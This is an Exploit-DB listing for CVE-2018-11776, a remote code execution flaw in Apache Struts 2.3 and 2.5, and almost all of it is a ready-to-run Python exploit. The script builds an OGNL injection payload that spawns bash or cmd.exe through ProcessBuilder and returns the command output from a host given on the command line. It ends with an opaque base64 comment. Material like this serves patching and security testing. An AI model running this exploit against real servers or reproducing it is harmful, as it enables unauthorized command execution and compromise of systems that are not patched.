Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)

EDB-ID: 45262
Author: hook-s3c
Published: 2018-08-25
CVE: CVE-2018-11776
Type: Remote
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A 

 # -*- coding: utf-8 -*- 
  
 # hook-s3c (github.com/hook-s3c), @hook_s3c on twitter 
  
 import sys 
 import urllib 
 import urllib2 
 import httplib 
  
  
 def exploit(host,cmd): 
     print "[Execute]: {}".format(cmd) 
  
     ognl_payload = "${" 
     ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)." 
     ognl_payload += "(#cmd='{}').".format(cmd) 
     ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 
     ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." 
     ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 
     ognl_payload += "(#p.redirectErrorStream(true))." 
     ognl_payload += "(#process=#p.start())." 
     ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 
     ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 
     ognl_payload += "(#ros.flush())" 
     ognl_payload += "}" 
  
     if not ":" in host: 
         host = "{}:8080".format(host) 
  
     # encode the payload 
     ognl_payload_encoded = urllib.quote_plus(ognl_payload) 
  
     # further encoding 
     url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/")) 
  
     print "[Url]: {}\n\n\n".format(url) 
  
     try: 
         request = urllib2.Request(url) 
         response = urllib2.urlopen(request).read() 
     except httplib.IncompleteRead, e: 
         response = e.partial 
     print response 
  
  
 if len(sys.argv) < 3: 
     sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0]) 
 else: 
     exploit(sys.argv[1],sys.argv[2])
  #NCt4elp3bDE3c1BlVkRPbnlhSjUzSG51MnU4R1FNRWhZd2RSeWxwaHRuaktyU1BMSDJKOERlT3d0S0gvZ0c4OGN1RG1HZm00dlZIZjZEUWt1N1d0ZEE3anVkVGQ0S1ZHbWpwcW1Ob0graE84TERVQ2gxY2UxR1hzMGh4NkVrT0VTSCtQVWJIRUJaS3NYU0pFYUpQWVg1M2JQcWg0WjBXZU9JTGxDMjNrWS8xQ2VDQUxXeFkxdWlrbnh4cXhLR0szdnFweVYyWTUyVmI2WGVXQVNoTWhEemxjaG1waGZjb2RkT1FvUmluUWtKam1scmltV2xGOWlsVkxhTHh4NGJzanRPcmdTZEMvNkg1VUEreVgrSVJxV0E9PQ==

Source: www.exploit-db.com
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